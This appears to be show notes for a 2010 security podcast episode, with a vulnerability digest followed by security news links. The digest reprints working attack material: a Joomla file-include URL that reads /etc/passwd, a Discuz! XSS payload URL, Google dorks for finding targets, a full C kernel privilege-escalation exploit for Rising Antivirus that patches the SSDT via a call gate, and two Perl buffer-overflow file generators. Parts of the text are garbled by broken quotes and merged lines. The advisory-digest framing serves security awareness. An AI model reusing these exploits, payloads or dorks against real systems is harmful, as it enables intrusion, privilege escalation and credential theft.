01.29
InfoSec Daily Podcast
InfoSec Podcast Episode 57 for January 29, 2010. This podcast is our contribution back to the community where we will discuss the vulnerabilities of interest, information security related news hopefully providing you a few laughs and a little knowledge.
Announcements:
FORENSICS 606: Drive and Data Recovery Forensics Canceled
Vulnerabilities of Interest:
- FUSE is subject to a race-condition vulnerability. Local attackers can exploit this issue to cause a denial of service via symlink attacks involving FUSE shares belonging to privileged user. NOTE: Successful exploitation of the issue requires the attacker being a member of the ‘fuse’ group. This can be exploited using readily available tools.
- Samba is subject to a local privilege-escalation vulnerability in the ‘mount.cifs’ utility. Local attackers can exploit this issue to gain elevated privileges on affected computers. This can be exploited using readily available tools.
- The ‘com_ccnewsletter’ component for Joomla! is subject to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input data. An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. Example URL: http://www.sample.com/index.php?option=com_ccnewsletter&controller=../../../../../../../../../../etc/passwd%00 Google Dork: inurl: index.php?option=com_ccnewsletter
- Rising Antivirus is subject to multiple local privilege-escalation vulnerabilities that affect various drivers. An attacker can exploit these issues to execute arbitrary code with elevated privileges, facilitating a complete compromise of the affected computer. Rising Antivirus 2008 and Rising Antivirus 2009 are vulnerable. Exploit code is available:
// Rising0day.cpp : Defines the entry point for the console application.
//
#include “stdafx.h”
#include “windows.h”
enum { SystemModuleInformation = 11 };
typedef struct {
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
HANDLE g_RsGdiHandle = 0 ;
void __stdcall WriteKVM(PVOID Address , ULONG Value)
{
ULONG ColorValue = Value ;
ULONG btr ;
ULONG ColorBuffer = 0 ;DeviceIoControl(g_RsGdiHandle ,
0x83003C0B,
&ColorValue ,
sizeof(ULONG),
&ColorBuffer ,
sizeof(ULONG),
&btr ,
0
);
DeviceIoControl(g_RsGdiHandle ,
0x83003C0B,
&ColorValue ,
sizeof(ULONG),
Address ,
sizeof(ULONG),
&btr ,
0
);
return ;
}
void AddCallGate()
{
ULONG Gdt_Addr;
ULONG CallGateData[0x4];
ULONG Icount;
__asm
{
push edx
sgdt [esp-2]
pop edx
mov Gdt_Addr , edx
}
__asm
{push 0xc3
push Gdt_Addr
call WriteKVM
mov eax,Gdt_Addr
mov word ptr[CallGateData],ax
shr eax,16
mov word ptr[CallGateData+6],ax
mov dword ptr[CallGateData+2],0x0ec0003e8
mov dword ptr[CallGateData+8],0x0000ffff
mov dword ptr[CallGateData+12],0x00cf9a00
xor eax,eax
LoopWrite:
mov edi,dword ptr CallGateData[eax]push edi
mov edi,Gdt_Addr
add edi,0x3e0
add edi,eax
push edi
mov Icount,eax
call WriteKVM
mov eax,Icount
add eax , 0×4
cmp eax,0×10
jnz LoopWrite
}return ;
}void IntoR0(PVOID function)
{
WORD Callgt[3];
Callgt[0] = 0;
Callgt[1] = 0;
Callgt[2] = 0x3e3;
__asm
{
call fword ptr[Callgt]
mov eax,esp
mov esp,[esp+4]
push eax
call function
pop esp
push offset ring3Ret
retf
ring3Ret:
nop
}
return ;}
#pragma pack(1)
typedef struct _IDTR
{
SHORT IDTLimit;
UINT IDTBase;
}IDTR,
*PIDTR,
**PPIDTR;
#pragma pack()
ULONG g_RealSSDT = 0 ;
ULONG ServiceNum = 0 ;
ULONG OrgService [0x1000] ;
ULONG RvaToOffset(IMAGE_NT_HEADERS *NT, ULONG Rva)
{
ULONG Offset = Rva, Limit;
IMAGE_SECTION_HEADER *Img;
WORD i;Img = IMAGE_FIRST_SECTION(NT);
if (Rva < Img->PointerToRawData)
return Rva;for (i = 0; i < NT->FileHeader.NumberOfSections; i++)
{
if (Img[i].SizeOfRawData)
Limit = Img[i].SizeOfRawData;
else
Limit = Img[i].Misc.VirtualSize;if (Rva >= Img[i].VirtualAddress &&
Rva < (Img[i].VirtualAddress + Limit))
{
if (Img[i].PointerToRawData != 0)
{
Offset -= Img[i].VirtualAddress;
Offset += Img[i].PointerToRawData;
}return Offset;
}
}return 0;
}
#define ibaseDD *(PDWORD)&ibase
DWORD GetHeaders(PCHAR ibase, PIMAGE_FILE_HEADER *pfh, PIMAGE_OPTIONAL_HEADER *poh, PIMAGE_SECTION_HEADER *psh)
{
PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase;
if ((mzhead->e_magic!=IMAGE_DOS_SIGNATURE)||(ibaseDD[mzhead->e_lfanew]!=IMAGE_NT_SIGNATURE)) return FALSE;
*pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew];
if (((PIMAGE_NT_HEADERS)*pfh)->Signature!=IMAGE_NT_SIGNATURE) return FALSE;
*pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE));
*poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER));
if ((*poh)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC) return FALSE;
*psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER));
return TRUE;
}
typedef struct {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
#define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset)))
DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT , PULONG ImageBase)
{
PIMAGE_FILE_HEADER pfh;
PIMAGE_OPTIONAL_HEADER poh;
PIMAGE_SECTION_HEADER psh;
PIMAGE_BASE_RELOCATION pbr;
PIMAGE_FIXUP_ENTRY pfe;DWORD dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable;
BOOL bFirstChunk;GetHeaders((PCHAR)hModule,&pfh,&poh,&psh);
if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &&
(!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) {pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule);
bFirstChunk=TRUE;
while (bFirstChunk || pbr->VirtualAddress) {
bFirstChunk=FALSE;pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));
for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) {
if (pfe->type==IMAGE_REL_BASED_HIGHLOW) {
dwFixups++;
dwPointerRva=pbr->VirtualAddress+pfe->offset;
dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh->ImageBase;if (dwPointsToRva==dwKSDT)
{
if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7)
{
dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh->ImageBase;
*ImageBase = poh->ImageBase;
return dwKiServiceTable;
}
}}
}
*(PDWORD)&pbr+=pbr->SizeOfBlock;
}
}return 0;
}
DWORD CR0Reg ;
ULONG realssdt ;
void InKerneProc()
{
__asm
{
cli
mov eax, cr0
mov CR0Reg,eax
and eax,0xFFFEFFFF
mov cr0, eax
}
int i;
for (i = 0; i < (int)ServiceNum; i++)
{
*(ULONG*)(*(ULONG*)realssdt + i * sizeof(ULONG)) = OrgService[i];
}
__asm
{
mov eax, CR0Reg
mov cr0, eax
sti
}}
int main(int argc, char* argv[])
{
printf(“Rising AntiVirus 2008 ~ 2010 \n”
“Local Privilege Escalation Vulnerability Proof Of Concept Exploit\n 2010-1-27\n”);g_RsGdiHandle = CreateFile(“\\\\.\\RSNTGDI” ,
0,
FILE_SHARE_READ | FILE_SHARE_WRITE ,
0,
OPEN_EXISTING , 0 , 0 );
if (g_RsGdiHandle == INVALID_HANDLE_VALUE)
{
return 0 ;
}SYSTEM_MODULE_INFORMATION ModuleInfo ;
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it’s base address
HMODULE hlib = GetModuleHandle(“ntdll.dll”);
PVOID pNtQuerySystemInformation = GetProcAddress(hlib , “NtQuerySystemInformation”);
ULONG infosize = sizeof(ModuleInfo);__asm
{
push 0
push infosize
lea eax , ModuleInfo
push eax
push 11
call pNtQuerySystemInformation
}HMODULE KernelHandle ;
LPCSTR ntosname = (LPCSTR)((ULONG)ModuleInfo.Module[0].ImageName + ModuleInfo.Module[0].PathLength);// Load the kernel image specified
KernelHandle = LoadLibrary(ntosname);
if (KernelHandle == 0 )
{
return 0 ;
}ULONG KeSSDT = (ULONG)GetProcAddress(KernelHandle , “KeServiceDescriptorTable”);
if (KeSSDT == 0 )
{
return 0 ;
}
ULONG ImageBase = 0 ;
ULONG KiSSDT = FindKiServiceTable(KernelHandle , KeSSDT – (ULONG)KernelHandle , &ImageBase);
if (KiSSDT == 0 )
{
return 0 ;
}
KiSSDT += (ULONG)KernelHandle;
ServiceNum = 0x11c ;
ULONG i ;for (i = 0 ; i < ServiceNum ; i ++)
{
OrgService[i] = *(ULONG*)(KiSSDT + i * sizeof(ULONG)) + (ULONG)ModuleInfo.Module[0].Base – ImageBase;
}realssdt = KeSSDT – (ULONG)KernelHandle + (ULONG)ModuleInfo.Module[0].Base;
SetThreadAffinityMask(GetCurrentThread () , 0 ) ;
AddCallGate();
IntoR0(InKerneProc);
return 0;
} - Discuz! is subject to an cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Discuz! 6.0.0 is vulnerable; other versions may also be affected. Example URL: http://www.sample.com/bbs/viewthread.php?tid=”>><script>alert(HACKED BY FATAL ERROR)</script><marquee><h1>XSS By Fatal Error</h1></marquee> Google Dork: inurl: /bbs/viewthread.php?
- KOL Wave IOX 1.04 .wav is subject to a local buffer overflow because the application fails to properly perform adequate bounds checks. Exploit Code is available:
#!/usr/bin/perl
#########################################################
## Usage–>>file created–>>load file–>>b00m.wav
>>>BOOM
#########################################################print “#####################################################n”;
print “[!] KOL WaveIOX 1.04 (.wav) Local Buffer Overflow PoCn”;
print “n”;
print “[!] Author: cr4wl3rn”;
print “[!] Mail: cr4wl3r[!]linuxmail.orgn”;
print “#####################################################n”;my $boom = “http://”.”x41″ x 1337;
my $filename = “b00m.wav”;
open (FILE,”>$filename”);
print FILE “$boom”;
print “nFile successfully created!n”; - KOL Wave Player 1.0 s subject to a local buffer overflow because the application fails to properly perform adequate bounds checks. Exploit Code is available:
#!/usr/bin/perl
#########################################################
## Usage–>>file created–>>load file–>>b00m.wav
>>>BOOM
#########################################################print “#####################################################n”;
print “[!] KOL Wave Player 1.0 (.wav) Local Buffer Overflow
PoCn”;
print “n”;
print “[!] Author: cr4wl3rn”;
print “[!] Mail: cr4wl3r[!]linuxmail.orgn”;
print “#####################################################n”;my $boom = “http://”.”x41″ x 1337;
my $filename = “b00m.wav”;
open (FILE,”>$filename”);
print FILE “$boom”;
print “nFile successfully created!n”;
News Items of Interest:
News item 1: http://www.scmagazineus.com/popularity-of-apple-devices-draws-malware-report/article/162331/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+SCMagazineNews+%28SC+Magazine+News%29
Amid speculation that Apple is set to introduce its tablet device tomorrow at a press event in California, a discussion of the security implications will not likely be a part of the hoopla. While the device is already being touted as a game-changer in the publishing industry, reportedly introducing a new digital platform with a 10-inch screen for the delivery of newspaper and magazine content, what’s likely to follow within months of the debut, if history is any precedent, is a new wave of malware targeting the device. Users tuning in for their daily news feed or perusing copies of their favorite magazines may become victims of new iterations of malware likely intended to make off with their passwords and personal information to then be offered for sale in the nether regions of cyberspace.
.
News item 2:http://www.pcadvisor.co.uk/news/index.cfm?RSS&NewsID=3211248
A bogus IQ test program or through an infected website, Zimuse fills the first 50Kb MBR of each disk with zeroes, rendering A virus that was created as a prank targetting an off-road Slovakian motorcycle club is causing an issue for web users across the world. Security company ESET said the Windows-borne ‘Zimuse’ is a retro oddity because it attacks a hard disk master boot record (MBR) of any attached drive its finds, a technique common in viruses from nearly 20 years ago. As with viruses of old, its spread is aided by its ability to infect the modern equivalent of floppy disks, USB sticks.
News item 3: http://www.v3.co.uk/v3/news/2256845/cybercrime-taken-seriously
Cyber crime is not being treated properly or taken sufficiently seriously by the police, according to a new study from the University of Leicester.
The study analysed the policing of the internet, and raised a number of concerns about police attitudes to the growing menace. Public Policing and Internet Crime, written by Professor Yvonne Jewkes of Leicester’s Department of Criminology, highlighted a general unwillingness to investigate cyber crimes, and warned that even when they are investigated, it is rarely through co-operation between different organisations or across geographical boundaries.
News item 4: http://nmap.org
Nmap 5.21 released. Fixed an error that occurred when UDP scan was combined with version scan. UDP ports would appear in the state “unknown” at the end of the scan, and in some cases an assertion failure would be raised. This was an unintended side effect of the memory use reduction changes in 5.20.
Technical Segment: http://www.myharddrivedied.com/sans.html
Presentation: http://www.myharddrivedied.com/diy-data-recovery.pdf


